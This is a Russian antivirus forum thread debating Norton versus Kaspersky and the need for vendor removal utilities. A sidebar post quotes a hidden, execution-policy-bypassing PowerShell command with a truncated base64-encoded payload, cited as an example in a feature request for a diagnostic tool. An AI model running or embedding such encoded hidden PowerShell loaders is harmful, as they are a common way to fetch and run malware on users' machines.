Перейти к содержанию
Deja_Vu

Специальные утилиты для удаления антивирусов

Recommended Posts

Deja_Vu
Извечная тема для обсуждения. Если Вам по душе доктор веб, то из всего, что мне когда либо попадалось - я выбрал Symantec.

Меня например в корне души убивает ситуация с широко разрекламированным Каспером. Куда не плюнь - все о нём слышали и знают что это антивирус. А на другие и не обращают внимания. Я допытывался у одной из коллег по работе за что она хочет поставить себе Касперского, вместо Nortona - так она мне сказала что за звуки, и он табличку при обнаружении вируса выдаёт. Меня это просто убило. Когда у неё Norton стоит, и выдаёт чисто отчёт о уже вылеченном и обезвреженном файле - они нажимают закрыть и на это значит не обращает никакого внимания. Мне это очень не нравится. Считаю Антивирус Касперского - не удобным и вообще плохо продуманным продуктом. У меня после него остались только откровенно ужасные впечатления. В продуктах же Symantec - только удобство, качество и всё как на ладони. НИКОГДА не поставлю Антивирус Касперского любой его модификации и дальше всех буду агитировать сносить его к чертям, чем уже лет 6 и занимаюсь.

P.S. Вообще если человек не соображает что делает - никакой антивирус не поможет.

(А Symantec ты не тронь - это святое. :))

Мне же очень "нравится" ситуация с нортоном.

Когда его пихают во все ноутбуки, а они его не тянут ... или же, когда у него кончается ключ... он висит и мешает работать людям ... и порой умирает и из-за него почти всегда система встает.

Сейчас уже появилась тенденция.. купиль ноут.. снес нортон - поставил другой антивирус...

Удобство же это чисто субъективное понятиее.. так вот ... среди всех моих знакомых .. нортон ссчитает ОЧЕНь не удобным продуктом.

(userbar подскажит каким антивирусом я пользуюсь, и это не касперский -))

по сабжу ...

хм... не думаю что детям есть что делать на этом ресурсе ...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
2600

<<Мне же очень "нравится" ситуация с нортоном. Когда его пихают во все ноутбуки, а они его не тянут ... или же, когда у него кончается ключ... он висит и мешает работать людям ... и порой умирает и из-за него почти всегда система встает.>>

Дурь полная.

Какие ещё мучения по сносу у Вас могут быть????????? Norton_Removal_Tool вам в руки и всё будет очищено.

Ноуты современные идеально тянут norton а.

<<Удобство же это чисто субъективное понятиее.. так вот ... среди всех моих знакомых .. нортон ссчитает ОЧЕНь не удобным продуктом.>>

Всё достаточно спорно, мне абсолютно всё равно чем пользуются Ваши знакомые и Вы. Это Ваше предвзятое мнение к Nortonу.

Я уже писал - это извечная тема для обсуждения. Вы будете мне доказывать плюсы своего полюбившегося продукта, я буду доказывать и показывать плюсы Nortona и Symanteca. :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Groft
Какие ещё мучения по сносу у Вас могут быть????????? Norton_Removal_Tool вам в руки и всё будет очищено.

ага, эта тулза всех юзеров нортона есть ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
2600

<<ага, эта тулза всех юзеров нортона есть>>

Symantec, думает о своих пользователях - что бы такие как Deja_Vu не морочили голову.

P.S. у меня проблем по сносу не бывает и без Norton Removal Tool.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

2600

Может хватит? Без оскорбления Deja_Vu нельзя было? По скриншоту топикстартера, сайт был блокирован компонентом "Родительский контроль". Который создан для защиты детей от темных мест Интернета. Вот этих-то детей Deja_Vu и назвал детьми.

Можете продолжать обижаться и лепить мне минусы. Только совершенно необоснованные оскорбления форумчан я не допущу. Не нравится - у Вас есть право пожаловаться на меня супермодераторам и Сергею Ильину лично.

  • Upvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
2600

Действительно, согласен - хватит.

  • Upvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr
Какие ещё мучения по сносу у Вас могут быть????????? Norton_Removal_Tool вам в руки и всё будет очищено.

Забавно, а зачем творить поделие для сноса софта, который должен выноситься стандартными средствами? Не кажется, что доп. средств у "гиганта" быть просто не должно? Или тогда сие есть поделие

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
2600
Забавно, а зачем творить поделие для сноса софта, который должен выноситься стандартными средствами? Не кажется, что доп. средств у "гиганта" быть просто не должно? Или тогда сие есть поделие

Я написал уже выше - зачем.

А вообще ситуации бывают разные. (Сбои тоже бывают разные - под эту категорию попадут почти любые продукты, любых производителей.) И если вам просто необходимо расчистить территорию для повторной установки - утилита будет незаменима. Чего нельзя сказать о продуктах не имеющих их в своём арсенале, и пользователям приходится лезть в реестр - чистить всё в ручную и уничтожать другие ашмётки продукта разбросанные по диску.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr

как то звучит неубедительно. Для спеца - аргумент как минимум детский

Скорее все так - деинсталлятор вышел не очень. Или очень не? И быстро делали что-нибудь. Оттуда и вытекают удилиты такого класса. Прошу не путать с вирусремоверами - тут отдельный случай

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
rayoflight

alexgr

Забавно, а зачем творить поделие для сноса софта

Данные "поделия" есть у всех нормальных антивирусов,что в этом такого?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr

например? Вот у СНГ шных отдельной утилиты давно не видел

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
rayoflight

Насколько мне известно,есть только у Касперского (kav remover)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr
Насколько мне известно,есть только у Касперского (kav remover)

для утверждения "всех" маловато будет. Или в мире только два нормальных антивируса? я полагал, что больше

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Иван
2600

Иван - молодец!!!

<<Скорее все так - деинсталлятор вышел не очень. Или очень не? И быстро делали что-нибудь. Оттуда и вытекают удилиты такого класса. Прошу не путать с вирусремоверами - тут отдельный случай>>

Дурь, деинсталляторы работают у всех нормально, утилита не для того что бы отдельно ею удалять продукты, а в случае если что либо пошло не нормально.

Продукты постоянно обновляются и если даже в первой версии "деинсталлятор вышел не очень" - это очень быстро ликвидируется.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr

С большим интересом прочел про "утилиты" от дефендера и доктора, спасибо! Я полагал, что утилита - это весьма конкретное понятие...

такие инструкции и самому приходилось писать... Например, для удаления печально известного Plastix (aka Krotten), и даже специальную утилитку. И для удаления разных программ мне утилит не надо, во всяком случае - пока. Но я подожду, сам поищу для оценки утверждения "большинство"...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Иван
Забавно, а зачем творить поделие для сноса софта, который должен выноситься стандартными средствами?

а речь не об утилитах, а о вашей цитате выше

софт по вашему в любом случае должен выноситься стандартными средствами, если есть инструкция или утилита как его выносить после кривого выноса стандартными средствами...ну дальше понятно

инструкция или утилита есть фактически у всех

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
alexgr
софт по вашему в любом случае должен выноситься стандартными средствами

по-моему - да, именно так. Если не так - плохо. Есть и статистика - по которой обращений по кривому выносу Симантека было не в пример больше, чем продуктов от ЛК, коих и вовсе не помню. По Доктору - было, два. Потому утилитку и вовсе скачали, потому как был пример миграции, где без нее было просто худо. Но - сорри за оффтоп. Тема иная обсуждается

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001
Специальные утилиты для удаления антивирусов

От себя по этому поводу могу сказать, что очень часто на чужих ПК сталкивался с проблемой невозможности стандартными методами деинсталляции какого-либо антивирусного продукта.

Это могло быть и результатом некорректной пользовательской деинсталляции, и результатом "работы" вирусов, и результатом кривого родительско-администраторского рукоприкладства, и результатом смешения разных антивирусных и антималварских продуктов. Благодаря опыту проблемы почти всегда решались без грубых изменений в системе.

Но для среднего пользователя антивирусного продукта было бы неплохо иметь на "вооружении" утилиту или рег-файл принудительной деинсталляции. Как бы "последний довод королей". Если бы они были от производителя, то составили бы честь для любого вендора.

Как пример могу привести утилиту Norton Removal Tool и мой простой рег-файл, который сделал для себя по случаю) см. тему http://www.anti-malware.ru/forum/index.php...ost&p=34432)

Есть также неофициальные KAVRemover'ы и официальный KAVRemover, но он что-то прячется. KAVRemover.zip

KAVRemover.zip

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001

rayoflight

Похвальная оперативность! И ваша и support.kaspersky.com! Так держать! :)

Я свой файлик скачал и выложил прямо во время сообщения - полуживая ссылка на русскую страницу пряталась уже только в недрах Яндекса, а архив вот тут - http://www.kaspersky.ru/support/downloads/.../kavremover.zip (дата 28.11.07)

А ваша ссылка живая, но новая, и архив новый - http://support.kaspersky.com/downloads/pro...kavremover9.zip (дата 23.04.08, см. в WinRar).

Вот теперь и русский аналог страницы нашёлся http://support.kaspersky.ru/faq/?qid=208635994 только по слову KAVremover9.zip, а не по KAVremover.zip, как раньше.

В мета-тегах вебстраницы что ли оставили бы старое название KAVremover.zip, чтобы поисковые системы знали. :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
den3586
<<Мне же очень "нравится" ситуация с нортоном. Когда его пихают во все ноутбуки, а они его не тянут ... или же, когда у него кончается ключ... он висит и мешает работать людям ... и порой умирает и из-за него почти всегда система встает.>>

Дурь полная.

Какие ещё мучения по сносу у Вас могут быть????????? Norton_Removal_Tool вам в руки и всё будет очищено.

Ноуты современные идеально тянут norton а.

<<Удобство же это чисто субъективное понятиее.. так вот ... среди всех моих знакомых .. нортон ссчитает ОЧЕНь не удобным продуктом.>>

пленн

Всё достаточно спорно, мне абсолютно всё равно чем пользуются Ваши знакомые и Вы. Это Ваше предвзятое мнение к Nortonу.

Я уже писал - это извечная тема для обсуждения. Вы будете мне доказывать плюсы своего полюбившегося продукта, я буду доказывать и показывать плюсы Nortona и Symanteca. :)

У меня такая же ситуация...Но я выжму из Нортона всё, т.к. купленный КИС я не активироал, мне спешить не куда. Хотя нотрон у меня 6 объектов пропустил (относительно kaspersky on line scanner)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
bse

Забавно, а зачем творить поделие для сноса софта, который должен выноситься стандартными средствами?
может быть мне везет, но никогда не приходилось пользоваться утилитами - все деинсталировалось стандартными средствами - из свежих Др.Веб 4.44, Нортон ИС 2007, Панда ИС 2008, НОД32 2.7 и 3.0, Аутпост СС 2008, Аваст 4.8, Авира 8.0 и когда-то давно Антивирус Касперского.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×